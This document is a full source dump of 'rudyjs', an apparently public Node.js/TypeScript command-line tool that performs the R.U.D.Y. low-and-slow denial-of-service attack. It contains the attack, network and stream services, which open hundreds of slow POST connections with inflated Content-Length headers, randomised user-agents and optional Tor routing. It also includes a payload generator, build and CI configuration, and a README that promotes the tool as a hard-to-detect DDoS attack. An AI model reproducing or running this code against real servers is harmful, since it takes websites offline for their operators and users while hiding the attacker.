├── src ├── payload │ └── payload.txt ├── test │ └── test.js ├── main.ts ├── service │ ├── service.ts │ ├── stream.service.ts │ ├── rudy.service.ts │ ├── attack.service.ts │ └── network.service.ts ├── scripts │ ├── script.ts │ └── generatePayload.ts ├── models │ └── error.model.ts ├── utils │ ├── constants.ts │ ├── ascii.ts │ └── logger.ts └── cli.ts ├── .gitignore ├── .npmignore ├── CONTRIBUTING.md ├── .dockerignore ├── .vscode └── settings.json ├── .eslintrc.js ├── .gitattributes ├── rudy.gif ├── Dockerfile ├── gulpfile.js ├── tsconfig.json ├── .travis.yml ├── tslint.json ├── .circleci └── config.yml ├── package.json ├── CODE_OF_CONDUCT.md ├── README.md └── LICENSE /src/payload/payload.txt: -------------------------------------------------------------------------------- 1 | Y -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | dist/ -------------------------------------------------------------------------------- /.npmignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | dist/ 3 | rudy.gif -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | Feel free to Contribute Amigos ! 2 | -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | dist/ 3 | npm-debug.log -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "eslint.enable": false 3 | } -------------------------------------------------------------------------------- /.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | "extends": "airbnb-base" 3 | }; -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | * linguist-vendored 2 | *.ts linguist-vendored=false 3 | -------------------------------------------------------------------------------- /rudy.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sahilchaddha/rudyjs/HEAD/rudy.gif -------------------------------------------------------------------------------- /src/test/test.js: -------------------------------------------------------------------------------- 1 | // 2 | // test.js 3 | // Tribe-cms 4 | // 5 | // Created by Sahil Chaddha on 09/05/2018. 6 | // Copyright © 2018 Tribe-CMS.tv. All rights reserved. 7 | // 8 | 9 | // TODO: To Implement -------------------------------------------------------------------------------- /src/main.ts: -------------------------------------------------------------------------------- 1 | // 2 | // main.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 07/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | import * as Rudy from "./service/rudy.service" 10 | 11 | export default Rudy 12 | -------------------------------------------------------------------------------- /src/service/service.ts: -------------------------------------------------------------------------------- 1 | // 2 | // service.ts 3 | // R-U-D-Y 4 | // 5 | // Created by Sahil Chaddha on 09/05/2018. 6 | // Copyright © 2018 R-U-D-Y. All rights reserved. 7 | // 8 | 9 | export default interface IService { 10 | serviceName: string 11 | } 12 | -------------------------------------------------------------------------------- /src/scripts/script.ts: -------------------------------------------------------------------------------- 1 | // 2 | // service.ts 3 | // R-U-D-Y 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 R-U-D-Y. All rights reserved. 7 | // 8 | 9 | export interface IScriptType { 10 | run: () => void 11 | } 12 | 13 | export default IScriptType 14 | -------------------------------------------------------------------------------- /src/models/error.model.ts: -------------------------------------------------------------------------------- 1 | // 2 | // error.model.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | export interface IError { 10 | code: number 11 | message: string 12 | category: string 13 | data?: object 14 | } 15 | 16 | export const TargetNotFound: IError = {code: 404, category: "CLI", message: "Target Not Found."} 17 | -------------------------------------------------------------------------------- /src/utils/constants.ts: -------------------------------------------------------------------------------- 1 | // 2 | // constants.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | export const authorName: string = "Sahil Chaddha" 10 | export const authorWebsite: string = "http://www.sahilchaddha.com" 11 | export const authorGithubLink: string = "https://www.github.com/sahilchaddha" 12 | export const projectName: string = "R-U-DEAD-YET ?" 13 | export const projectGithub: string = "https://www.github.com/sahilchaddha/rudy" 14 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:carbon 2 | 3 | # Create app directory 4 | WORKDIR /usr/src/app 5 | 6 | # Install app dependencies 7 | # A wildcard is used to ensure both package.json AND package-lock.json are copied 8 | # where available (npm@5+) 9 | COPY package*.json ./ 10 | 11 | RUN npm install 12 | # If you are building your code for production 13 | # RUN npm install --only=production 14 | 15 | # Bundle app source 16 | COPY . . 17 | 18 | RUN npm run deploy 19 | 20 | CMD [ "npm", "start", "--", "-t", "'http://localhost:3000'", "-v", "-d", "5", "-n", "100" ] -------------------------------------------------------------------------------- /gulpfile.js: -------------------------------------------------------------------------------- 1 | // 2 | // gulpfile.js 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 07/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | var gulp = require('gulp') 10 | var clean = require('gulp-clean') 11 | 12 | gulp.task('clean', function () { 13 | return gulp.src('dist', {read: false}) 14 | .pipe(clean()); 15 | }); 16 | 17 | gulp.task('deploy', function () { 18 | return gulp.src(['./src/payload/*', 19 | ]) 20 | .pipe(gulp.dest('./dist/payload/')) 21 | }); 22 | 23 | gulp.task('default', ['clean']) -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "jsx": "react", 4 | "module": "commonjs", 5 | "noImplicitAny": false, 6 | "outDir": "./dist/", 7 | "preserveConstEnums": true, 8 | "removeComments": true, 9 | "target": "es6", 10 | "experimentalDecorators": true, 11 | "emitDecoratorMetadata": true, 12 | "skipLibCheck": true, 13 | "moduleResolution": "node", 14 | "noResolve": false 15 | }, 16 | "include": [ 17 | "src" 18 | ], 19 | "exclude": [ 20 | "node_modules" 21 | ], 22 | "lib": [ 23 | "es5", 24 | "es2015.promise" 25 | ] 26 | } -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - '8' 4 | install: 5 | - npm install 6 | script: 7 | - npm run deploy 8 | notifications: 9 | slack: 10 | secure: VmQIOv68abUTVbP9xqIMRHT9y7n6HLpx7wtIM3CDhAmztxiqg4A2i7uiGT53Bp0WFQyS4LhkYL89EgKGMkFZY5TuEfv39598erv3e5idsuI8xas1qLdwRInh1Qt4ClkBJiiHNMDwnfIqjPXgBeBRhdWsgBQc4TF9HaErPeSTn06m+87RRRNn8mTHyv/9kZurd230zNG6E1rf2gsnkeeWUnoHhVQGUc5Ua0Jd7QXgQ4aB/UCVwDOJscQ1ZaRc3xbraLifC/xh4bUjBmB8KAVYnXzfiG4gcyn3zr4RlUiFR90BkY8AIEBHn5IiFnMDXdVE+16RwRiRDBfUNNFfqSw0Ms3+tCg+yEJnkB1854OdU5RgpW/gtPXiwTPNXFG8G8mT5QIZ7OCp/Jih/rFzOi9MAkBPf6dyoh9iwpBQ6vx8eQ4CLnn4hdE0FSS16WM1kVb5t+jEqH0/xX+eiNoJADKzYQwI81+3wSzp9IJ1C921RwoO7dRExHcS5CYHbiqD8rOMW24OwTek0qQ8tZOoAEJXKYBpjiNS70B+Kk2Q8q7h2ccbEW2KdftlfM/M+/dVxQgH535nZesMfx4ihVP9SrkdHwFLll455h9bNV7zv0bkBSWcBIOo5/IBUEUtczwtBTSy5j0IhcGWIsMwqk+4KEFfnFRN+bqXerH3InodoBPblsY= 11 | -------------------------------------------------------------------------------- /tslint.json: -------------------------------------------------------------------------------- 1 | { 2 | /* 3 | * Possible values: 4 | * - the name of a built-in config 5 | * - the name of an NPM module which has a "main" file that exports a config object 6 | * - a relative path to a JSON file 7 | */ 8 | "extends": "tslint:latest", 9 | "rules": { 10 | /* 11 | * Any rules specified here will override those from the base config we are extending. 12 | */ 13 | "curly": true, 14 | "semicolon": [true, "never"], 15 | "no-var-keyword": false, 16 | "no-var-requires": false, 17 | "ordered-imports": false 18 | }, 19 | "jsRules": { 20 | /* 21 | * Any rules specified here will override those from the base config we are extending. 22 | */ 23 | "curly": true 24 | }, 25 | "rulesDirectory": [ 26 | /* 27 | * A list of relative or absolute paths to directories that contain custom rules. 28 | * See the Custom Rules documentation below for more details. 29 | */ 30 | ] 31 | } 32 | -------------------------------------------------------------------------------- /src/utils/ascii.ts: -------------------------------------------------------------------------------- 1 | // 2 | // ascii.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | const figlet = require("figlet") 10 | import * as Constants from "./constants" 11 | /* tslint:disable no-console */ 12 | 13 | class ASCIIBanner { 14 | public static showInfo(): Promise { 15 | return new Promise((resolve, reject) => { 16 | figlet(Constants.projectName, (err, data) => { 17 | // No Need to Reject, Its fine if Banner is not shown 18 | if (err) { 19 | return resolve(false) 20 | } 21 | console.log(data) 22 | console.log("Author : " + Constants.authorName) 23 | console.log("Website: " + Constants.authorWebsite) 24 | console.log("Github : " + Constants.authorGithubLink) 25 | return resolve(true) 26 | }) 27 | }) 28 | } 29 | } 30 | 31 | export default ASCIIBanner 32 | -------------------------------------------------------------------------------- /.circleci/config.yml: -------------------------------------------------------------------------------- 1 | # Javascript Node CircleCI 2.0 configuration file 2 | # 3 | # Check https://circleci.com/docs/2.0/language-javascript/ for more details 4 | # 5 | version: 2 6 | jobs: 7 | build: 8 | docker: 9 | # specify the version you desire here 10 | - image: circleci/node:7.10 11 | 12 | # Specify service dependencies here if necessary 13 | # CircleCI maintains a library of pre-built images 14 | # documented at https://circleci.com/docs/2.0/circleci-images/ 15 | # - image: circleci/mongo:3.4.4 16 | 17 | working_directory: ~/repo 18 | 19 | steps: 20 | - checkout 21 | 22 | # Download and cache dependencies 23 | - restore_cache: 24 | keys: 25 | - v1-dependencies-{{ checksum "package.json" }} 26 | # fallback to using the latest cache if no exact match is found 27 | - v1-dependencies- 28 | 29 | - run: npm install 30 | 31 | - save_cache: 32 | paths: 33 | - node_modules 34 | key: v1-dependencies-{{ checksum "package.json" }} 35 | 36 | # run tests! 37 | - run: npm run deploy 38 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "rudyjs", 3 | "version": "1.0.2", 4 | "description": "R-U-DEAD-YET ?", 5 | "preferGlobal": true, 6 | "main": "dist/main.js", 7 | "scripts": { 8 | "start": "node dist/cli.js", 9 | "startTs": "node_modules/.bin/ts-node --project ./tsconfig.json src/cli.ts", 10 | "build": "npm run clean && node_modules/.bin/tsc -p . && node_modules/.bin/gulp deploy", 11 | "clean": "node_modules/.bin/gulp clean", 12 | "lint": "node_modules/.bin/tslint --project .", 13 | "test": "node_modules/.bin/mocha --recursive src/test --timeout 10000 --exit", 14 | "deploy": "npm run lint && npm test && npm run build" 15 | }, 16 | "bin": { 17 | "rudy": "./dist/cli.js" 18 | }, 19 | "repository": { 20 | "type": "git", 21 | "url": "git+https://github.com/sahilchaddha/rudyjs.git" 22 | }, 23 | "keywords": [ 24 | "rudy", 25 | "rudyjs", 26 | "js", 27 | "typescript", 28 | "node" 29 | ], 30 | "author": "Sahil Chaddha", 31 | "license": "ISC", 32 | "bugs": { 33 | "url": "https://github.com/sahilchaddha/rudyjs/issues" 34 | }, 35 | "homepage": "https://github.com/sahilchaddha/rudyjs#readme", 36 | "dependencies": { 37 | "chalk": "^2.4.1", 38 | "commander": "^2.15.1", 39 | "figlet": "^1.2.0", 40 | "random-useragent": "^0.3.1", 41 | "request": "^2.85.0", 42 | "stream-buffers": "^3.0.1", 43 | "tor-request": "^2.1.2" 44 | }, 45 | "devDependencies": { 46 | "@types/node": "^10.0.4", 47 | "@types/request": "^2.47.0", 48 | "gulp": "^3.9.1", 49 | "gulp-clean": "^0.4.0", 50 | "mocha": "^5.1.1", 51 | "ts-node": "^6.0.3", 52 | "tslint": "^5.10.0", 53 | "typescript": "^2.8.3" 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/scripts/generatePayload.ts: -------------------------------------------------------------------------------- 1 | // 2 | // createRandomString.script.ts 3 | // R-U-D-Y 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 R-U-D-Y. All rights reserved. 7 | // 8 | /* tslint:disable curly object-literal-sort-keys */ 9 | 10 | import * as fs from "fs" 11 | import * as path from "path" 12 | import IScriptType from "./script" 13 | import logger from "../utils/logger" 14 | 15 | const payloadFileLocation = path.join(__dirname, "..", "payload", "payload.txt") 16 | const charArray: string[] = ["R", "U", "D", "Y"] 17 | 18 | class GeneratePayload implements IScriptType { 19 | 20 | private charCount: number 21 | private stream: fs.WriteStream 22 | 23 | constructor(charCount: number) { 24 | this.charCount = charCount 25 | } 26 | 27 | public run(): void { 28 | fs.unlink(payloadFileLocation, (err) => { 29 | logger.verbose({message: "payload.txt deleted", category: "GENERATE_PAYLOAD"}) 30 | this.generatePayload() 31 | }) 32 | } 33 | 34 | private generatePayload() { 35 | this.stream = fs.createWriteStream(payloadFileLocation) 36 | 37 | for (var i = 0; i < this.charCount; i++) { 38 | this.stream.write(this.getRandomString()) 39 | } 40 | logger.info({message: "Payload Injected with characters : " + this.charCount, 41 | category: "GENERATE_PAYLOAD"}) 42 | this.stream.end() 43 | } 44 | 45 | private getRandomString(): string { 46 | const low: number = 0 47 | const high: number = 4 48 | const randomNumber: number = Math.floor(Math.random() * (high - low) + low) 49 | return charArray[randomNumber] 50 | } 51 | } 52 | 53 | export default GeneratePayload 54 | -------------------------------------------------------------------------------- /src/utils/logger.ts: -------------------------------------------------------------------------------- 1 | // 2 | // logger.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 07/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | import chalk from "chalk" 10 | /* tslint:disable no-console */ 11 | 12 | const error = chalk.red 13 | const verbose = chalk.yellow 14 | const info = chalk.blue 15 | 16 | interface ILoggerParams { 17 | message?: string 18 | category?: string 19 | data?: any 20 | } 21 | 22 | export enum LogLevel { 23 | INFO = "INFO", 24 | VERBOSE = "VERBOSE", 25 | ERROR = "ERROR", 26 | } 27 | 28 | class Logger { 29 | public static logLevel: LogLevel = LogLevel.INFO 30 | 31 | public setLogLevel(level: LogLevel) { 32 | Logger.logLevel = level 33 | this.verbose({message: "Logger set to Verbose", category: "Logger"}) 34 | } 35 | 36 | public error(params: ILoggerParams) { 37 | this.logMessage(error(this.getLogMessage(params, LogLevel.ERROR)), params) 38 | } 39 | public verbose(params: ILoggerParams) { 40 | if (Logger.logLevel === LogLevel.VERBOSE) { 41 | this.logMessage(verbose(this.getLogMessage(params, LogLevel.VERBOSE)), params) 42 | } 43 | } 44 | 45 | public info(params: ILoggerParams) { 46 | this.logMessage(info(this.getLogMessage(params, LogLevel.INFO)), params) 47 | } 48 | 49 | private logMessage(text: string, params: ILoggerParams) { 50 | console.log(text) 51 | 52 | if (params.data != null) { 53 | console.log(params.data) 54 | } 55 | } 56 | 57 | private getLogMessage(params: ILoggerParams, logType: LogLevel): string { 58 | return new Date() + " *** " + logType + " ::: " 59 | + params.category + " ::: " + params.message + " ***" 60 | } 61 | } 62 | 63 | const logger: Logger = new Logger() 64 | 65 | export default logger 66 | -------------------------------------------------------------------------------- /src/service/stream.service.ts: -------------------------------------------------------------------------------- 1 | // 2 | // stream.service.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | /* tslint:disable object-literal-sort-keys no-this-assignment */ 9 | 10 | import { Readable } from "stream" 11 | import * as fs from "fs" 12 | import * as path from "path" 13 | import IService from "./service" 14 | import logger from "../utils/logger" 15 | 16 | export interface IStreamConfig { 17 | delay: number 18 | } 19 | 20 | class StreamService implements IService { 21 | private static cachedPayload: string = null 22 | public serviceName: string = "Stream_Service" 23 | private delay: number 24 | private stream: Readable 25 | 26 | constructor(config: IStreamConfig) { 27 | this.delay = config.delay 28 | this.stream = new Readable() 29 | this.stream._read = () => { 30 | setTimeout(() => { 31 | if (StreamService.cachedPayload == null) { 32 | const payload = this.getPayload() 33 | StreamService.cachedPayload = payload 34 | } 35 | this.stream.push(StreamService.cachedPayload) 36 | }, this.getRandomNumber() * 1000) // into Seconds 37 | } 38 | } 39 | 40 | public getRandomReadStream() { 41 | return this.stream 42 | } 43 | 44 | public endStream() { 45 | logger.verbose({message: "Closing Stream", category: this.serviceName}) 46 | this.stream.destroy() 47 | } 48 | 49 | private getPayload(): string { 50 | logger.verbose({message: "Reading file payload.txt", category: this.serviceName}) 51 | return fs.readFileSync(path.join(__dirname, "..", "payload", "payload.txt"), "utf8").toString() 52 | } 53 | 54 | private getRandomNumber(): number { 55 | return Math.floor((Math.random() * this.delay) + 1) 56 | } 57 | } 58 | 59 | export default StreamService 60 | -------------------------------------------------------------------------------- /src/service/rudy.service.ts: -------------------------------------------------------------------------------- 1 | // 2 | // rudy.service.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | import logger, { LogLevel } from "../utils/logger" 10 | import * as Error from "../models/error.model" 11 | import { HTTPMethod } from "./network.service" 12 | import AttackService, { IAttackServiceResponsePayload } from "./attack.service" 13 | import IService from "./service" 14 | /* tslint:disable array-type object-literal-sort-keys */ 15 | 16 | export interface IRudyConfig { 17 | target: string 18 | method: HTTPMethod 19 | packet_len: number 20 | maxConnections?: number 21 | delay: number 22 | shouldUseTor: boolean 23 | } 24 | 25 | const defaultConfig: IRudyConfig = { 26 | target: "http://localhost:8080/", 27 | method: HTTPMethod.POST, 28 | packet_len: 1 * 1024 * 1024, // 1 MB 29 | maxConnections: 500, 30 | delay: 5, 31 | shouldUseTor: false, 32 | } 33 | 34 | class RudyService implements IService { 35 | public serviceName: string = "Rudy_Service" 36 | private config: IRudyConfig 37 | private attacks: AttackService[] 38 | constructor(config: IRudyConfig) { 39 | this.config = defaultConfig 40 | this.mapConfig(config) 41 | this.attacks = [] 42 | } 43 | 44 | public attack() { 45 | for (var i = 0; i < this.config.maxConnections; i++) { 46 | const attackService = new AttackService({target: this.config.target, method: this.config.method, 47 | packet_len: this.config.packet_len, delay: this.config.delay, 48 | shouldUseTor: this.config.shouldUseTor, attackId: i}) 49 | attackService.attack() 50 | this.attacks.push(attackService) 51 | } 52 | 53 | logger.info({message: "Attack Started at " + this.config.target + " With Workers : " + 54 | this.config.maxConnections, 55 | category: this.serviceName}) 56 | } 57 | 58 | private mapConfig(config: IRudyConfig) { 59 | Object.keys(config).forEach((key, index) => { 60 | if (config[key] != null) { 61 | this.config[key] = config[key] 62 | } 63 | }) 64 | } 65 | } 66 | 67 | export default RudyService 68 | -------------------------------------------------------------------------------- /src/service/attack.service.ts: -------------------------------------------------------------------------------- 1 | // 2 | // attack.service.ts 3 | // R-U-D-Y 4 | // 5 | // Created by Sahil Chaddha on 09/05/2018. 6 | // Copyright © 2018 R-U-D-Y. All rights reserved. 7 | // 8 | /* tslint:disable object-literal-sort-keys object-literal-key-quotes no-this-assignment */ 9 | import IService from "./service" 10 | import logger from "../utils/logger" 11 | import NetworkService, { HTTPMethod, IResponsePayload } from "./network.service" 12 | import StreamService from "./stream.service" 13 | import { Headers } from "request" 14 | const userAgent = require("random-useragent") 15 | 16 | export interface IAttackServiceResponsePayload { 17 | status: number 18 | message: string 19 | data?: object 20 | } 21 | 22 | export interface IAttackServiceConfig { 23 | attackId: number 24 | target: string 25 | method: HTTPMethod 26 | packet_len: number 27 | delay: number 28 | shouldUseTor: boolean 29 | } 30 | 31 | class AttackService implements IService { 32 | public serviceName: string = "Attack_Service" 33 | private config: IAttackServiceConfig 34 | private streamService: StreamService 35 | constructor(config: IAttackServiceConfig) { 36 | this.config = config 37 | this.streamService = new StreamService({delay: this.config.delay}) 38 | } 39 | public attack() { 40 | const self = this 41 | 42 | NetworkService.request({url: this.config.target, method: this.config.method, headers: this.getHeaders(), 43 | data: this.streamService.getRandomReadStream(), shouldUseTor: this.config.shouldUseTor}) 44 | .then((resPayload: IResponsePayload) => { 45 | logger.info({message: "Request Succeeded. RUDY attack failed attackId : " + self.config.attackId, 46 | category: this.serviceName, data: resPayload}) 47 | self.streamService.endStream() 48 | }) 49 | .catch((err) => { 50 | logger.error({message: err.code + " :: Error Occured attackId : " + self.config.attackId, 51 | category: self.serviceName, data: err}) 52 | self.streamService.endStream() 53 | }) 54 | } 55 | 56 | private getHeaders(): Headers { 57 | const headers: Headers = { 58 | "Connection": "keep-alive", 59 | "Content-Length": this.config.packet_len.toString(), 60 | "User-Agent": userAgent.getRandom(), 61 | } 62 | 63 | return headers 64 | } 65 | } 66 | 67 | export default AttackService 68 | -------------------------------------------------------------------------------- /src/service/network.service.ts: -------------------------------------------------------------------------------- 1 | // 2 | // network.service.ts 3 | // RUDY 4 | // 5 | // Created by Sahil Chaddha on 08/05/2018. 6 | // Copyright © 2018 RUDY. All rights reserved. 7 | // 8 | 9 | import * as request from "request" 10 | import logger from "../utils/logger" 11 | import IService from "./service" 12 | const tr = require("tor-request") 13 | 14 | /* tslint:disable member-ordering object-literal-sort-keys */ 15 | 16 | export enum HTTPMethod { 17 | GET = "GET", 18 | POST = "POST", 19 | PUT = "PUT", 20 | } 21 | 22 | export interface IRequestPayload { 23 | url: string 24 | method: HTTPMethod 25 | headers?: request.Headers 26 | data?: any 27 | shouldUseTor: boolean 28 | } 29 | 30 | export interface IResponsePayload { 31 | status: number 32 | message: number 33 | data?: any 34 | } 35 | 36 | export interface ITorConfig { 37 | url: string 38 | port: number 39 | } 40 | 41 | class NetworkService implements IService { 42 | public serviceName: string = "Network_Service" 43 | 44 | public static setTorAddress(config: ITorConfig) { 45 | tr.setTorAddress( 46 | (config.url != null ? config.url : "127.0.0.1"), 47 | (config.port != null ? config.port : 9050)) 48 | } 49 | 50 | public static request(payload: IRequestPayload): Promise { 51 | if (payload.shouldUseTor) { 52 | return NetworkService.torRequest(payload) 53 | } 54 | return new Promise((resolve, reject) => { 55 | request({ 56 | method: payload.method, 57 | uri: payload.url, 58 | headers: payload.headers, 59 | formData: { 60 | file: payload.data, 61 | }, 62 | }, 63 | (error, response, body) => { 64 | if (error) { 65 | return reject({code: 404, err: error}) 66 | } 67 | return resolve({status: response.statusCode, message: body}) 68 | }) 69 | }) 70 | } 71 | private static torRequest(payload: IRequestPayload): Promise { 72 | return new Promise((resolve, reject) => { 73 | tr.request({ 74 | method: payload.method, 75 | uri: payload.url, 76 | headers: payload.headers, 77 | formData: { 78 | file: payload.data, 79 | }, 80 | }, 81 | (error, response, body) => { 82 | if (error) { 83 | return reject({code: 404, err: error}) 84 | } 85 | return resolve({status: response.statusCode, message: body}) 86 | }) 87 | }) 88 | } 89 | } 90 | 91 | export default NetworkService 92 | -------------------------------------------------------------------------------- /src/cli.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | // 3 | // cli.ts 4 | // RUDY 5 | // 6 | // Created by Sahil Chaddha on 07/05/2018. 7 | // Copyright © 2018 RUDY. All rights reserved. 8 | // 9 | 10 | import * as program from "commander" 11 | import Rudy from "./main" 12 | import ASCIIBanner from "./utils/ascii" 13 | import { TargetNotFound, IError } from "./models/error.model" 14 | import RudyService from "./service/rudy.service" 15 | import logger, { LogLevel } from "./utils/logger" 16 | import GeneratePayload from "./scripts/generatePayload" 17 | import NetworkService, { ITorConfig } from "./service/network.service" 18 | const logCategory: string = "RUDY_CLI" 19 | /* tslint:disable object-literal-sort-keys max-line-length */ 20 | 21 | // Parse Arguments 22 | program 23 | .version("1.0.0") 24 | .description("Processes the RUDY attack on an arbitrary target.") 25 | .option("-t, --target ", "Hostname of the target to focus") 26 | .option("-l, --length ", "Length of the TCP Packet (Default : Large Number)") 27 | .option("-n, --numberOfConnections ", "Amount of clients that are going to contact the server. (Default: 500)") 28 | .option("-m, --method ", "HTTP Request Method. (Default: POST)") 29 | .option("-d, --delay ", "Wait before sending another TCP Packet. (Default: 2)") 30 | .option("-v, --verbose", "Enable Verbose Logs (Default: false)") 31 | .option("-p, --useTor", "Use Tor Proxy. (Default: false)") 32 | .option("-u, --torUrl ", "Custom Tor Server Url (Default: 127.0.0.1)") 33 | .option("-o, --torPort ", "Custom Tor Server Port Number (Default: 9050)") 34 | 35 | program 36 | .command("generatePayload ") 37 | .action((charCount, cmd) => { 38 | const script = new GeneratePayload(charCount).run() 39 | }) 40 | 41 | program 42 | .parse(process.argv) 43 | 44 | var rudyService = null 45 | 46 | // Shows ASCII banner 47 | ASCIIBanner.showInfo() 48 | .then(() => { 49 | // Throw Error if Target not specified 50 | if (program.target == null) { 51 | throw TargetNotFound 52 | } 53 | 54 | if (program.verbose) { 55 | logger.setLogLevel(LogLevel.VERBOSE) 56 | } 57 | 58 | if (program.torUrl != null || program.torPort != null) { 59 | NetworkService.setTorAddress({url: program.torUrl, port: program.torPort}) 60 | } 61 | 62 | const config: Rudy.IRudyConfig = { 63 | target: program.target, 64 | method: program.method, 65 | packet_len: program.length, 66 | maxConnections: program.numberOfConnections, 67 | delay: program.delay, 68 | shouldUseTor: program.useTor, 69 | } 70 | return config 71 | }) 72 | .then((config: Rudy.IRudyConfig) => { 73 | rudyService = new RudyService(config) 74 | rudyService.attack() 75 | }) 76 | .catch((error: IError) => { 77 | // Show Help on Error 78 | logger.error({message: error.message, category: error.category}) 79 | program.help() 80 | process.exit() 81 | }) 82 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@sahilchaddha.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rudyjs ( R-U-DEAD-YET ? ) 2 | ## RUDY DDOS Attack Implementation on Node.js 3 | ### Scalable Lightweight R-U-D-Y DDOS Attack using Tor Proxy 4 | ### Difficult to detect low-and-slow DDOS Attack 5 | 6 | [![NPM](https://nodei.co/npm/rudyjs.png?downloads=true&downloadRank=true&stars=true)](https://nodei.co/npm/rudyjs/) 7 | 8 | 9 | [![Build Status](https://travis-ci.org/sahilchaddha/rudyjs.svg?branch=master)](https://travis-ci.org/sahilchaddha/rudyjs) 10 | [![Build Status](https://semaphoreci.com/api/v1/projects/be75e13b-9b1c-43eb-8350-1a652fe84f03/1950351/badge.svg)](https://semaphoreci.com/sahilchaddha-96/rudy) 11 | [![CircleCI](https://circleci.com/gh/sahilchaddha/rudyjs/tree/master.svg?style=svg)](https://circleci.com/gh/sahilchaddha/rudyjs/tree/master) 12 | [![CodeFactor](https://www.codefactor.io/repository/github/sahilchaddha/rudyjs/badge)](https://www.codefactor.io/repository/github/sahilchaddha/rudyjs) 13 | [![npm](https://img.shields.io/npm/v/rudyjs.svg)](https://www.npmjs.com/package/rudyjs) 14 | [![GitHub release](https://img.shields.io/github/release/sahilchaddha/rudyjs.svg)](https://github.com/sahilchaddha/rudyjs) 15 | [![npm](https://img.shields.io/npm/dm/rudyjs.svg)](https://www.npmjs.com/package/rudyjs) 16 | 17 | ### What is a R.U.D.Y. attack? 18 | ‘R U Dead Yet?’ or R.U.D.Y. is a denial-of-service attack tool that aims to keep a web server tied up by submitting form data at an absurdly slow pace. A R.U.D.Y. exploit is categorized as a low-and-slow attack, since it focuses on creating a few drawn-out requests rather than overwhelming a server with a high volume of quick requests. A successful R.U.D.Y. attack will result in the victim’s web server becoming 